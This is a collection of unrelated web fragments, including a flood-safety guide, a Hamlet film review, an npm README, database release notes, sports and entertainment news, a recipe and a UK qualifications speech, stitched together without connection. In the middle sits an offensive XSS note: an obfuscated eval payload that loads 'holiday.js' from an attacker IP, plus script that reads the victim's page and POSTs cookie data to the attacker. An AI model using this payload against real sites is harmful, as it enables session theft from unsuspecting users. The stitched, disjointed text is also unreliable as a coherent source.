Natural Hazards
Floods
Floods are one of the most common hazards in the U.S. However, all floods are not alike. Riverine floods develop slowly, sometimes over a period of days. Flash floods can develop quickly, sometimes in just a few minutes, without any visible signs of rain. Flash floods often have a dangerous wall of roaring water that carries a deadly cargo of rocks, mud and other debris and can sweep away most things in its path. Overland flooding occurs outside a defined river or stream, such as when a levee is breached, but still can be destructive. Flooding can also occur from a dam break producing effects similar to flash floods.
Flood effects can be very local, impacting a neighborhood or community, or very large, effecting entire river basins and multiple states.
Be aware of flood hazards no matter where you live, but especially if you live in a low-lying area, near water or downstream from a dam. Even very small streams, gullies, creeks, culverts, dry streambeds or low-lying ground that appear harmless in dry weather can flood. Every state is at risk from this hazard.
What to do before a flood
- Know the terms used to describe flooding:
- Flood Watch-Flooding is possible. Stay tuned to NOAA Weather Radio or commercial radio or television for information. Watches are issued 12 to 36 hours in advance of a possible flooding event.
- Flash Flood Watch-Flash flooding is possible. Be prepared to move to higher ground. A flash flood could occur without any warning. Listen to NOAA Weather Radio or commercial radio or television for additional information.
- Flood Warning-Flooding is occurring or will occur soon. If advised to evacuate, do so immediately.
- Flash Flood Warning- A flash flood is occurring. Seek higher ground on foot immediately.
- Ask local officials whether your property is in a flood-prone or high-risk area. (Remember that floods often occur outside high-risk areas.) Ask about official flood warning signals and what to do when you hear them. Also ask how you can protect your home from flooding.
- Identify dams in your area and determine whether they pose a hazard to you.
- Purchase a NOAA Weather Radio with battery backup and a tone-alert feature that automatically alerts you when a Watch or Warning is issued (tone alert not available in some areas). Purchase a battery-powered commercial radio and extra batteries.
- Be prepared to evacuate. Learn your community's flood evacuation routes and where to find high ground. See the "Evacuation" chapter for important information.
- Talk to your household about flooding. Plan a place to meet your household in case you are separated from one another in a disaster and cannot return home. Choose an out-of-town contact for everyone to call to say they are okay. In some emergencies, calling out-of-state is possible even when local phone lines are down.
- Determine how you would care for household members who may live elsewhere but might need your help in a flood. Determine any special needs your neighbors might have.
- Prepare to survive on your own for at least three days. Assemble a disaster supply kit. Keep a stock of food and extra drinking water. See the "Emergency Planning and Disaster Supplies" chapter for more information.
- Know how to shut off electricity, gas and water at main switches and valves. Know where gas pilot lights are located and how the heating system works.
- Consider purchasing flood insurance.
- Flood losses are not covered under homeowners' insurance policies.
- FEMA manages the National Flood Insurance Program, which makes federally-backed flood insurance available in communities that agree to adopt and enforce floodplain management ordinances to reduce future flood damage.
- Flood insurance is available in most communities through insurance agents.
- There is a 30-day waiting period before flood insurance goes into effect, so don't delay.
- Flood insurance is available whether the building is in or out of the identified flood-prone area.
- Consider options for protecting your property.
- Make a record of your personal property. Take photographs or videotapes of your belongings. Store these documents in a safe place.
- Keep insurance policies, deeds, property records and other important papers in a safe place away from your home.
- Avoid building in a floodplain unless you elevate and reinforce your home.
- Elevate furnace, water heater, and electric panel to higher floors or the attic if they are susceptible to flooding.
- Install "check valves" in sewer traps to prevent flood water from backing up into the drains of your home.
- Construct barriers such as levees, berms, and floodwalls to stop floodwater from entering the building.
- Seal walls in basements with waterproofing compounds to avoid seepage.
- Call your local building department or emergency management office for more information.
What to do during a flood
- Be aware of flash flood. If there is any possibility of a flash flood, move immediately to higher ground. Do not wait for instructions to move.
- Listen to radio or television stations for local information.
- Be aware of streams, drainage channels, canyons and other areas known to flood suddenly. Flash floods can occur in these areas with or without such typical warning signs as rain clouds or heavy rain.
- If local authorities issue a flood watch, prepare to evacuate:
- Secure your home. If you have time, tie down or bring outdoor equipment and lawn furniture inside. Move essential items to the upper floors.
- If instructed, turn off utilities at the main switches or valves. Disconnect electrical appliances. Do not touch electrical equipment if you are wet or standing in water.
- Fill the bathtub with water in case water becomes contaminated or services cut off. Before filling the tub, sterilize it with a diluted bleach solution.
- Do not walk through moving water. Six inches of moving water can knock you off your feet. If you must walk in a flooded area, walk where the water is not moving.
- Do not drive into flooded areas. Six inches of water will reach the bottom of most passenger cars causing loss of control and possible stalling. A foot of water will float many vehicles. Two feet of water will wash away almost all vehicles. If floodwaters rise around your car, abandon the car and move to higher ground, if you can do so safely. You and your vehicle can be quickly swept away as floodwaters rise.
- See the "Evacuation" chapter for important information.
What to do after a flood
- Avoid floodwaters. The water may be contaminated by oil, gasoline or raw sewage. The water may also be electrically charged from underground or downed power lines.
- Avoid moving water. Moving water only six inches deep can sweep you off your feet.
- Be aware of areas where floodwaters have receded. Roads may have weakened and could collapse under the weight of a car.
- Stay away from downed power lines and report them to the power company.
- Stay away from designated disaster areas unless authorities ask for volunteers.
- Return home only when authorities indicate it is safe. Stay out of buildings if surrounded by floodwaters. Use extreme caution when entering buildings. There may be hidden damage, particularly in foundations.
- Consider your family's health and safety needs:
- Wash hands frequently with soap and clean water if you come in contact with floodwaters.
- Throw away food that has come in contact with floodwaters.
- Listen for news reports to learn whether the community's water supply is safe to drink.
- Listen to news reports for information about where to get assistance for housing, clothing and food.
- Seek necessary medical care at the nearest medical facility.
- Service damaged septic tanks, cesspools, pits, and leaching systems as soon as possible. Damaged sewage systems are serious health hazards.
- Contact your insurance agent. If your policy covers your situation, an adjuster will be assigned to visit your home. To prepare:
- Take photos of your belongings and your home or videotape them.
- Separate damaged and undamaged belongings.
- Locate your financial records.
- Keep detailed records of cleanup costs.
- If your residence has been flooded obtain a copy of "Repairing Your Flooded Home" from the local American Red Cross chapter.


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HAMLET
A Film Review by Brian Takeshita
Rating: *** out of ****
Shakespeare. You hardly understood it in high school. Why would you want more of it now that your English grade doesn't count on it? If this is your attitude, then I'll say right off the bat that Kenneth Branagh's HAMLET is probably not for you, and you might as well stop reading right now. If, however, you are a lover of The Bard, or at the very least are open-minded about a challenging script, read on, for there is something rotten in the state of Denmark.
Namely, the king has died, and his widow the queen has wed the king's brother, Claudius, but prince Hamlet suspects foul play. His suspicions are confirmed when the ghost of his father appears and relates the story of his murder at his own brother's hands. Hamlet, enlisting the help of his friend Horatio, conspires to capture the conscience of the new king to expose his treachery....and the game is afoot....
The first things you notice about this production are the sets and costumes. With external scenes filmed at Blemheim Palace in England (also the one of the sites for the recent THE AVENGERS), the grandiose quality of the setting is immediately established. Interior scenes are similarly graced with intricate and flamboyant rooms and chambers. The Hamlet Castle's grand throne room is an impressive piece of work incorporating high ceilings, mirror-panel doors, and bridges which connect opposite sides of a second-story loft. Costuming is equally grand, drawing upon both history and imagination.. Not quite the Denmark of the 1600's, the characters' attire is something of a cross between that era and turn of the century Russia, very effectively giving the film more of a timeless feel. It is not surprising that Tim Harvey and Alexandra Byrne were nominated for Best Art Direction and Best Costume Design Oscars, respectively.
In addition to directing, Kenneth Branagh also plays the title character. As the revenge-driven royal heir, Branagh provides a riveting performance of emotional highs and lows. From the anticipation of seeing his father's ghost, to the melancholy of finding the burial site of his childhood jester, to his eventual wrath, Branagh delivers in spades. Every scene truly revolves around Hamlet, as much a tribute to Branagh's acting and directing as to Shakespeare's manuscript.
HAMLET seems to be a who's who of Shakespearean-trained actors, so watching them perform the craft for which they have much love is a delight in itself. Julie Christie, as Hamlet's mother Gertrude, and Derek Jacobi as his murderous uncle Claudius both fill the classic roles superbly, as do many of the supporting players. Kate Winslet as Hamlet's lover Ophelia, does an outstanding job demonstrating the character's plummet to the depths of dispair and madness. Richard Briers as Ophelia's father, Polonius, and Michael Moloney as her brother, Laertes, are equally convincing. Nicholas Farrell as Hamlet's trusted friend Horatio, and Timothy Spall and Reece Dinsdale as the two-timing Rosencrantz and Guildenstern round out the excellent core cast.
HAMLET also seems to be a film in which someone tried to stuff as many well known actors as possible. In some cases, this made for interesting scenes. Billy Crystal is surprisingly good as the gravedigger who unearths the skull of Yorick, whom Hamlet knew quite well. Crystal proves himself able to deliver the lines with both the timing of a classic actor and the verbal countenance of a comedian, and the result is a very funny scene. However, Charleton Heston, whom many might think would butcher Shakespeare, is the biggest surprise of all. As the Player King, the leader of a troupe of traveling actors, he is absolutely breathtaking when narrating the story of Priam and Hecuba. Part of his monologue is overlaid with a visual enactment of the story (with Sir John Gielgud and Judi Dench), but this is most unfortunate, for it robs Heston of some of the attention which he deserves at this time. His off-camera speaking, while gripping, sort of downplays the scene to a narration done by any other well-voiced actor. I wish Branagh had chosen to allow us to envision in our own minds the scene which Heston lays out, and let the venerable actor have the attention.
Unfortunately, there were some casting choices which led to poor distractions. Jack Lemmon, an excellent actor, just can't do Shakespeare. As Marcellus, the guard who sees the elder Hamlet's ghost, Lemmon sadly underperforms and is shown up left and right by those around him. Gerard Depardieu, another talented actor, is wasted when given little more than the utterances of "yes, my lord" and "no, my lord" in the role of Reynaldo. Richard Attenborough has a (literally) walk-on role, showing up at the eleventh hour as the English Ambassador. I think he had two lines. Then there is Rufus Sewell as Fortinbras of Norway. When I went to see DANGEROUS BEAUTY earlier this year, two ladies behind me kept commenting about how handsome he was.
HAMLET is a complicated tale of treachery and revenge in which triumph and defeat become one. Branagh attempts to help us out with some of the intricacies by visually representing some of the more elusive stretches of dialogue by presenting them as flashback-type images. This only works about half the time, and I wonder if it would have been just as well to do without them. You don't have to be some kind of genius to appreciate Shakespeare, but it is quite difficult to understand unless you have the time to read or hear it carefully and repeatedly. The alternate method of comprehension is that with which most of us are familiar, the high school English course. In it, you are hopefully fortunate enough to have an educator willing to help you with the plot points and nuances essential to understanding a play written in the rigmarole known as the King's English. Or I suppose you could just read the Cliff Notes.
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Andrew C. Wicks and R. Edward Freeman
"The central claim of this paper is that organization studies needs
to be fundamentally reshaped. Such change is needed to provide
room for ethics and to increase the relevance of research. We
argue that the new pragmatism provides critical resources for
this change. Pragmatism is a particularly helpful tool to use in
that it highlights the moral dimensions of organizing (is this
useful for our purposes?) while at the same time avoiding en-
trenched epistemological distinctions that marginalize ethics
and make research less useful."
"The new pragmatism (the terms
"pragmatism" and "the new pragmatism" are used inter-
changeably) focuses on serving human purposes, and thus
simultaneously highlights the moral dimensions of orga-
nizations and the need for research to have practical
value."


# download [![Build Status](https://travis-ci.org/kevva/download.svg?branch=master)](https://travis-ci.org/kevva/download)
> Download and extract files effortlessly
## Install
`bash
$ npm install --save download
`
## Usage
If you’re fetching an archive you can set extract: true in options and it’ll extract it for you.
```js var download = require(‘download’);
// download and extract foo.tar.gz into bar/ download(‘foo.tar.gz’, ‘bar’, { extract: true });
// download and save foo.exe into bar/foo.exe with mode 0755 download(‘foo.exe’, ‘bar’, { mode: ‘0755’ });
// download and save foo.zip into bar/foobar.zip download({ url: ‘foo.zip’, name: ‘foobar.zip’ }, ‘bar’);
// download and save an array of files in bar/ var files = [‘foo.jpg’, ‘bar.jpg’, ‘cat.jpg’]; download(files, ‘bar’);
// download, save and rename an array of files in bar/ var files = [{
url: ‘foo.jpg’, name: ‘foobar.jpg’
- }, {
- url: ‘cat.jpg’, name: ‘dog.jpg’
}]; download(files, ‘bar’); ```
## API
### download(url, dest, opts)
Download a file or an array of files to a given destination. Returns an EventEmitter that emits the following possible events:
- response — Relayed when the underlying http.ClientRequest emits the same
event. Listeners called with a http.IncomingMessage instance. * data — Relayed when the underlying http.IncomingMessage emits the same event. Listeners called with a Buffer instance. * error — Relayed when the underlying http.ClientRequest emits the same event or when the response status code is not in the 200s. Listeners called with an Error instance (in the first case) or the response status code. * close — Relayed when the underlying stream.Duplex emits the same event.
## Options
You can define options accepted by the [request](https://github.com/mikeal/request/) module besides from the options below.
### extract
Type: Boolean Default: false
If set to true, try extracting the file using [decompress](https://github.com/kevva/decompress/).
### ext
Type: String Default: undefined
Sometimes you may be downloading an application/octet-stream and you want to extract it, eg it may be a zip, this option allows you to specify the extention of the file to be downloaded.
### mode
Type: String Default: undefined
Set mode on the downloaded files.
### strip
Type: Number Default: 0
Equivalent to –strip-components for tar.
## CLI
`bash
$ npm install --global download
`
- Usage
- $ download <url> $ cat <file> | download>
- Example
- $ download –out dist –extract https://github.com/kevva/download/archive/master.zip $ cat urls.txt | download –out dist
- Options
-e, --extract Extract archive files on download -o, --out Path to download or extract the files to -s, --strip <number> Strip path segments from root when extracting
## License
MIT © [Kevin Mårtensson](http://kevinmartensson.com)


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What's new in the Technology Explorer for IBM DB2 v5.0
New content for 5.0:
- Bluemix enabled
- Nodal menus
New content for 4.1:
- The Workload Multiuser Driver (WMD), a tool which is used to drive dynamic workloads against your database
- New 9.7 tutorials and feature demonstrations
- Dynamic Schema Change
- Created Global Temporary Table
- Inline Lobs
- 9.7 Automatic Compression
- PL SQL Support
- Truncate Table Command
- Tools->Monitor (DB2 9.7) - new DB2 9.7 monitoring
- Tools->Storage Management (DB2 9.5+)
- Health - Monitoring views have been added
- View->Catalog - new views have been added
- View->Dictionary - views have been added
- View->Configuation->Compatibility - will display the compatibility mode of your DB2 9.7 database
New Under the hood for 4.1:
- The table rendering Modula has been replaced to allow for greater expansion and flexibility
You can now have:
- Dynamic Columns
- Improved Table display
- Right clicks on table
- Advanced data searches
- Fixed column headers (Not enabled by default on IE due to JavaScript performance)
- Profile Query view – displays the core query used in the dataset
- Table refreshes happen inline (no more flickering)
- Table definition files now support multiple Graphs


Harmony’s UI color palette is derived from Intuit’s brand palette, consisting of Intuit blue and a selection of accent colors that compliment our brand.
Blues and grays represent approximately 85% of color distribution in the UI. Use for key UI elements like navigation, backgrounds, the stage, buttons, links, and text.
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The Information Catalog is the heart of an information warehouse solution. It is an essential component of the architecture that is used to integrate all components of the solution. It enables users to understand the source data, target data, and the rules that are used to extract, filter, enhance, cleanse, and transform source data to target data, the schema of the data, how the data interrelates, the business processes the data is used to support, what data is available to them, etc.
BMSIW users were frustrated with the quality and currency of documentation that described the tables and attributes available to them within the BMSIW decision support system. Despite multiple efforts, workload and shifting priorities kept the BMSIW team from being able to keep an "information catalog" up to date.
It was decided that instead of trying to manually maintain an information catalog, we'd start generating one instead. The BMSIW decided to follow the model of Java's Javadoc, which is a documentation generator for generating API documentation in HTML format from Java source code. The HTML format is used to add the convenience of being able to hyperlink related documents together.
The BMSIW put in place a standard that stated that all DB2 objects belonging to the BMSIW must have:
With these three rules in place, the Information Catalog Compiler was written to read table, column, index, and view information from the DB2 system catalog, augment it with business information stored in XML files, and generate a navigable set of HTML pages that make up an information catalog.
This worked fine for years but there were limitations
Therefore it was re-written to be 100% XML driven. Instead of being driven partially from the DB2 system catalog and partially from XML documents, the entire catalog will be generated from XML. Utilities were provided, written using DB2 PureXml, that will generate the appropriate XML based on both the DB2 and PDA system catalogs. A new interface that will emulate the Dojo API viewer. This will enable users to easily switch between SIW data tiers and versions and do side by side comparisons of both.
The new catalog viewer allows users to select between data tiers and versions.
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The complete viewer looks like the image below.


Jeff Goldblum confirms when Jurassic World 3 begins filming Laura Dern, Sam Neill returns
Jurassic World 3 will see Goldblum return alongside Laura Dern and Sam Neill
by Lewis Knight, https://www.mirror.co.uk/authors/lewis-knight/Jurassic World 3 star Jeff Goldblum has confirmed when the much-anticipated sequel will begin filming.
The upcoming follow-up to Jurassic World : Fallen Kingdom has already been confirmed to see Goldblum reprise his iconic role as Dr Ian Malcolm opposite Sam Neill and Laura Dern as Dr Alan Grant and Dr Ellie Sattler, respectively.
Appearing on Chris Evans' Virgin Radio Show today (November 1), Jeff Goldblum discussed scary films with the radio and let slip when the film begins filming and where.
Goldblum said: "Well, I guess those dinosaur movies are kind of scary. And we're gonna do another one of those around these parts come this summer."
So he'll be filming in the UK and he also added who with.
He added: "[I'll] be here shooting with Laura Dern and Sam O'Neill and Chris Pratt and Bryce Dallas Howard . Colin Trevorrow as the great director is going to be writing and directing it. And I can't wait."
The film will likely continue from the cliffhanger ending of Jurassic World: Fallen Kingdom, which saw dinosaurs escape into the streets of California after being held in a facility by a nefarious corperation.
But how will the original cast of Jurassic Park factor into the story of Chris Pratt and Bryce Dallas Howard's characters, Owen and Claire?
Here's hoping we have more details soon!
Jurassic World 3 is released in cinemas on June 11, 2021.
Are you excited to see the return of classic Jurassic Park characters in Jurassic World 3? Let us know in the comments below.


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--- title: "Venue" updated: 2016-01-26 12:00:00 layout: default group: attending menu: sub ordered: 1 status: published ---
ISWC will be held in Kobe. The main conference will be held at Kobe International Conference Center in Kobe Convention Center.
6-9-1 Minatojima-nakamachi, Chuo-ku, Kobe 650-0046, Japan
+81-78-302-5200
http://kobe-cc.jp/english/
Kobe International Conference Center is Japan's closest international convention center from airports. Kobe is easy to reach from any country. Located on an island, Kobe's primary convention facilities are all just minutes from one another, including conference and exhibition halls, hotels and restaurants. Trains from an adjacent station run every 5 minutes to downtown Kobe and connect to Japan's very best tourism attractions.
Kobe International Conference Center provides good enough facilities to hold international conferences. We will use the most of the facilities in it and also those in two nearby hotels for lunch and dinner and additional workshop rooms if necessary. There are the main hall with ca. 700 seats and plenty of small and medium rooms. We will use the main hall and three medium rooms (ca. 100 seats) for the main conference, and eleven small and medium rooms (ca. 50-100 seats) for workshops and tutorials. We will also use the foyer in front of the main hall for coffee break, demo and posters. The dinner will be provided at the hall in the hotel directly connected to the conference center. The lunch will be provided at the room in the hotel too.
Japan is one of the most advanced countries for Internet connection in speed and area. Internet connection is provided for the conference center already but we will strengthen WAN connection and wifi facilities for the conference.
The access to the venue is easy and convenient. Kobe Airport, the nearest regional airport, is really close to the venue, i.e., just in 8 minutes by the automated guided transit or taxi. It connects Tokyo Haneda Airport which provides flights from/to various international cities (Europe: London, Paris, Frankfurt, Munich, North America: New York, San Francisco, Seattle, Los Angles, Vancouver, Toronto, Asia: many cities). The nearest international airport is Kansai International Airport which is about 40 minutes from/to the venue by ship and the automated guided transit. It offers direct flights from/to the various cities (Europe: Paris, Frankfurt, Amsterdam, Rome, Helsinki, North America: New York, San Francisco, Asia: many cities). Narita International Airport, the largest international airport in Japan, which connects more than 100 cities abroad. Kobe is 3 hours form Tokyo by Shinkansen Train or 1 hour by flight.
Generally speaking, the flight between Japan and Europe takes 10-12 hours and the flight between Japan and North America is 9 hours (West Coast) or 12-14 hours (East Coast).
Kansai International Airport (KIX) is the closest international gateway for Kobe and located around the Osaka Bay along a fast coastal highway. To transfer from KIX to Kobe:


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Worksheet to exchange some BTC and ETC through the Ferrum network
Enter Your Seed:Seed is a random value consisting of A-Z and 9. Shorter than 81 charachters.
This is your secret, keep it safe.
Registering addresses has the following steps:
You can claim Fe(BTC) by presenting proof (Your BTC transaction hash):
Registering addresses has the following steps:
You can claim Fe(ETH) by presenting proof (Your ETH transaction hash):
BTC ETH
You can request to exchange you Fe(BTC) with Fe(ETH) and vice versa:
You can claim an exchange made for you:
You can request to exchange you Fe(BTC) with Fe(ETH) and vice versa:
Trusted addresses are required to ensure funds are parked in a place and cannot be double-spent.
Ferrun can only read external networks and transactions on external networks might be slow to propagate.
You need to send your funds to the proof of burn addresses (which will become unaccessible forever)
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Generate crosswords from a list of words.
| Version: | 0.3.5 |
| Imports: | R6 (≥ 2.2.0), dplyr (≥ 0.5.0), stringr (≥ 1.2.0), magrittr (≥ 1.5), jsonlite (≥ 1.5), r6extended (≥ 0.1.1) |
| Suggests: | covr, testthat |
| Published: | 2018-01-19 |
| Author: | Peter Meissner |
| Maintainer: | Peter Meissner <retep.meissner at gmail.com> |
| License: | MIT + file LICENSE |
| NeedsCompilation: | no |
| Materials: | README NEWS |
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Andre Green and others on fringes given a challenge by Preston North End boss Alex Neil
by Dave SeddonAlex Neil has highlighted the importance of training sessions for the players on the fringes of the Preston squad to catch his eye.
The depth of the PNE squad is such that some players are struggling to get a place on the bench, let alone a start.
With a relatively short injury list compared to the last couple of seasons, the competition for places is fierce.
Neil points out though, that players have come into the team at times this season after seemingly being quite a way out of the picture.
“When you are not in the team your training that week is even more important,” said Lilywhites boss Neil.
“That is their opportunity to impress me and show everybody else why you should be playing.
“The difficulty they have got at the moment is how well the team has been playing and performing.
“It has been really difficult for some of the lads to get in.
“We could go right across the board with that but things do change.
“Joe Rafferty couldn’t get in at the start of the season and he hasn’t looked back.
“Josh Harrop wasn’t in the squads at the start of the season and didn’t really look back until he got an injury.
“Jayden Stockley and Louis Moult weren’t in. There’s a whole host of them there.”
Big-money buy Tom Bayliss, loan signing Andre Green, Josh Ginnelly, Paul Huntington and Jordan Storey have yet to start a league game for PNE this season.
Neil keeps players sharp by organising bounce games.
Last week, North End were due to play Barrow in the Lancashire Senior Cup at Springfields which would have provided much-needed game time.
But the Cumbrian side were forced to forfeit the tie as they could not raise a team.
Green, on loan from Aston Villa, is currently nursing a toe injury.
It has been a problem which has flared up recently, his lack of game time before that due to others being ahead of him in the pecking order.
Said Neil: “Andre is in a position which a lot of the other lads who are not really featuring, are in.
“Who do you take out of the team to put him in?
“At the moment Andre has got a problem with his big toe.
“He’s got arthritis which means he’d had a few injections in it, so at the moment he’s not currently fit.
“However, that’s only been for the last couple of weeks.”
Green, 21, has come on as a substitute four times in the Championship.
He last appeared as a late sub in the 1-1 draw with Leeds on October 23.
The winger started twice in the League Cup, scoring in the 4-0 win over Bradford.


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It works by going to the common ancestor of the two branches (the one you’re on and the one you’re rebasing onto), getting the diff introduced by each commit of the branch you’re on, saving those diffs to temporary files, resetting the current branch to the same commit as the branch you are rebasing onto, and finally applying each change in turn.
Important: Do not rebase commits that you have pushed to a public repository.
Git rebase onto
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Chain: xss with eval string -> serv 80/holiday.js -> victim execs holiday.js to grab his own page -> holiday.js continues exec to POST request to attacker -> python decode and steal http-only cookie
initial xss vector:
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eval(String.fromCharCode(document.write('<script src="http://<IP_ADDRESS>/holiday.js"></script>');))
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Evasion:
python:
ord("A") for single characters will turn it into ordinal char codes
Only single letters at a time
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Holiday.js (Cookie catcher / Cookie grabber from HTTP-only cookie)
#idea: request to pull the page and a second request to send the page to us
var req1 = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req1.open('GET','http://localhost:8000/vac/073ada6c-dcce-4a45-9c8c-da3c30de15f3', false);
req1.send();
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var params = "cookie=" + encodeURIComponent(response);
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import urllib
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In the spring of 2015, I am hoping to participate in an internship in Lake Buena Vista, Florida at the Walt Disney World resort.
I will graduate from Luther College.
I hope to gain full time employment shortly after graduating so that I can become financially stable quickly.


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A simple stuffed mushroom can make a stunning supper – matching its dark flavours with its woodland partner the chestnut brings out the best of both. Ingredients that were just meant to be together.
Pre heat the oven to 180C/350F/Gas 4.
Remove the stalks from the mushrooms to allow them to be stuffed and lay in a large oven dish. Place a little knob of butter in each one and then drizzle the olive oil all over. Sprinkle the thyme into the mushrooms and finish with a few generous glugs of Madeira wine. Pop them in the oven for 20 minutes.
Now for the stuffing, roughly chop your onions and soften in a frying pan with a little butter till golden. Remove the sausage skin and break the meat into the pan with the now golden onions. Tear in the remaining herbs, add the breadcrumbs and allow to cook through slightly. Chop the chestnuts and add to the pan and mix the contents well.
After about 20 minutes remove the mushrooms and generously heap your stuffing into the mushrooms, piling it as high as you dare.
Now return the dish to the oven for a further half hour. Serve when the stuffing is crisp and golden.


Angry hornets kill 3 in Indonesia
SOLO, Indonesia: Three people have been killed by swarms of angry hornets in Indonesia over the past two weeks, a health agency official said on Friday (Nov 22).
An 11-year-old student died in West Java Wednesday after he and three other pupils tried to destroy a nest of lesser banded hornets - a species notorious for its aggressive behaviour and a sting that can trigger a life-threatening allergic reaction.
The fatal attack came after two elderly people were killed in hornet attacks this month in Central Java's Klaten city, which has seen a surge in victims.
Seven people in the area were killed by hornet stings last year and hundreds more have been attacked over the past decade, according to local data.
Several dozen health clinics across the city are on high alert for more victims, said Cahyo Widodo, head of Klaten's health agency.
"All the health centres are now prepared to handle hornet attack cases," Widodo said.
A group of volunteers are also going to locations where the hornets breed to destroy their nests.
The species has been migrating to the area over the past few years, according to a local rescue agency official.
Found across Southeast Asia, the multi-coloured hornet can grow up to 30mm.


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Speech
Jeremy Benson, Executive Director of Vocational Qualifications, to the Skills and Employability Summit at the QEII Centre, London.
Good morning.
When you think of qualifications and the vocational education system would the words ‘shadowy’ and ‘unloved’ spring to mind?
They came from the pen of Professor Alison Wolf just last year.
How about ‘rigid’? ‘Complicated’? ‘Confusing’?
The words of Nigel Whitehead, UK Commissioner.
And the word ‘lost’?
My own word; spoken a couple of years ago to awarding organisations, the bodies that design qualifications – I was talking about lost confidence in the system.
Let’s be honest, the picture those words paint is not a very happy one.
It can be dangerous to generalise of course. There are, at the moment, many good qualifications that are trusted by the employers that use them. They need to be recognised, celebrated, and learnt from. But the way the vocational system overall works does not always give people confidence in the qualifications that are on offer.
We want to play our part in changing that. In a few years I hope to hear instead words like ‘flexible’, ‘relevant’ and ‘valid’ coming from industrialists and academics. I hope to be able to talk of confidence as something the system has got, rather than something that still needs to be found.
Right now, I want to explain to you the things we’re doing that we intend will make an important contribution to achieving that ambition – to changing the language and perceptions that surround the vocational education system.
Our interest in the system is as the regulator of qualifications in England and of vocational qualifications in Northern Ireland. With more than 8,000 different qualifications certificated in the past year, our interest spreads across many topics, from accounting to zoo-keeping.
But no matter the topic of a qualification, our focus is on its validity, which is the degree to which a qualification measures what needs to be measured, by implementing an assessment procedure. A valid qualification must assess skills and knowledge sufficiently well, enabling assessment results to be interpreted and used appropriately, and allowing people to be confident that those results can be relied upon.
This hasn’t always been happening. We know from the work of Alison Wolf and others that some students have found that the qualifications they’ve achieved are not the passport into the career they want. We also know that some employers are confused by the myriad of qualifications available in their sector, and don’t know how to choose one over another, or indeed if they should choose any of them at all.
And debate on vocational qualifications is all too often framed in terms of general qualifications: they are seen as an alternative, good or bad, to GCSEs or A levels.
But the test of a vocational qualification should, rather, be to ask: does it recognise the skills and knowledge that will help someone to move into, and progress in, a career? There is a shared responsibility for making that happen: among awarding organisations, Government, employers and their representatives, colleges and others. And of course we have a role too, as the qualifications regulator.
We’ve taken a look at the regulated sector to understand the impact of our rules and regulations, and engaged with those who work in and use the vocational education system - including colleges, training providers and employers, hearing from them the issues they have with the current set-up. It has become increasingly clear that the system is not working. The evidence is that the rules too often get in the way of – rather than support and enable – good qualifications.
So, two weeks today, following consultation over the last year, we will withdraw the rules that govern the Qualifications and Credit Framework, or QCF.
The idea of the QCF, when our predecessor body introduced it back in 2008, was to bring in a building-block approach to learning. The intention was that students could piece together relevant units of learning, using the credits each unit was worth to support their individual progression needs and to enhance mobility.
But this approach did not provide any guarantee of quality, and did not work for all types of qualifications. Nor is there any evidence that it really supported social or labour mobility.
To achieve the QCF’s ambition, the rules placed much focus on consistency of structure, but did not focus enough on validity – or put another way, it didn’t consider whether the qualifications might actually be any good. I think Alison Wolf described this issue well. She said that while the rules enabled a standardised, unitised approach, what an awarding organisation couldn’t do was fit an award to the subject-matter or to the specific demands of a particular occupation.
Indeed, the assumption behind the QCF approach was: design your qualification to meet these rules, and all will be well. But of course, designing and delivering good qualifications involves so much more than meeting some design rules. Even if these rules made life easier for awarding organisations, many of them told us that the rules were in fact stopping them from innovating, or even from taking the approaches to assessment that most suited the topic being taught.
It came as little surprise, then, that when we consulted on removing the QCF rules last year, there was widespread agreement that the rules should go. We are now ready to withdraw the rules at the end of this month. The end of one era for the qualifications system, and the ushering in of another.
But the next era will not see a radical overhaul of all qualifications, as happened when the QCF was introduced. As I said at the beginning, problems with the regulatory rules have not stopped good qualifications being created – so we’re not requiring changes to all qualifications. Nor will we put in place another set of prescriptive rules. Having a detailed set of rules specific to vocational qualifications is not the best way of securing validity.
And of course we’re not removing all our regulations - awarding organisations will still have to comply with our General Conditions, and we’ve updated those to reflect the demise of the QCF. Our Conditions are outcome-focused: they focus on what the awarding organisations and their qualifications should achieve, not how they should achieve that.
Now we’re able to focus on outcomes and on our Conditions, we’ll be conducting a range of regulatory activities, such as audits, to test how far awarding organisations can show they’re meeting our requirements. We’re looking at how far we can report on and encourage good practice, so that awarding organisations do more than just meet the bare minimum requirements.
The new era will not just see a renewed regulatory approach, it will also see a new acronym – sorry! The RQF, or Regulated Qualifications Framework, will be a tool, not a rule or a process, and will help people to understand all of the qualifications we regulate. If you take a look on our website this afternoon, you’ll see a digital postcard available to download, which will give you an introduction to the framework.
We’ve described the RQF as being a bit like a library. There’s a range of books on offer, and as libraries do, we’re stacking the books in an order. Our shelves are arranged to fit books from Entry level 1 up to Level 8. That’s exactly the same levels as now. People broadly understand the current levels, and how they relate to levels in other frameworks, so we’re not going to change those– though we’ve tightened up some of the definitions.
And as you look at our bookcase, the shorter reads are on the left, and the hefty tomes, your War and Peace for example, are to the right. We’re bringing more clarity to how qualification sizes are described; another new acronym I’m afraid – TQT, or Total Qualification Time, although we’re keeping Guided Learning Hours within that, as we know it’s helpful - to those planning curricula and timetables, for example.
In a way, this all makes us something of a librarian. Now, a librarian doesn’t decide what should be in a book, or the number of chapters it should have – though they may take a closer interest in some more than others, as we do.
Rather, a librarian helps people to understand the different books available and to find what they’re looking for. So as well as the bookshelf, we have a catalogue. Now, some people might think that a bookshelf is a rather old-fashioned analogy. Well, I rather like books! But our catalogue, the register of regulated qualifications, is completely on-line, and we’re updating it to make it easier and quicker to search.
And – stretching the analogy a bit perhaps – if we as the librarian find a book that has been misclassified, or doesn’t do what it claims to do, we can take action against the book or its author. Ultimately we can remove it from the library, and that’s what we’ll do in the most serious cases.
I want to finish by reflecting on what this might mean for how qualifications are used in practice.
Obviously we know that these are tough times for publicly-funded provision. Budgets are shrinking for colleges and other training providers. There are uncertainties from the devolution agenda and the area-based reviews. The Government has big ambitions for expansion of the apprenticeship programme – where of course the assessments should be as valid as for any qualification. All this is bound to impact on the qualifications used to support publicly-funded provision – most immediately, as we’ve seen with the SFA’s recent moratorium in England.
But even in this context we make no apology for setting high expectations for the qualifications and awarding organisations we regulate. If a person has a qualification, that should mean something significant, and it should be something worth trusting. If a person has a regulated qualification – even more so.
Awarding organisations that can respond to this challenge, that can show they can produce good, valid, trustworthy qualifications, will be well-placed to meet the challenges of the future.
So now that we’re removing the QCF rules, it’s over to the awarding organisations to see whether they can meet these challenges. It’s for them, now, to work out how they’re going to review and develop their qualifications using the new freedoms we’re giving them and the higher expectations we’re setting.
And what might success look like in the years ahead? To return to the bookcase analogy:
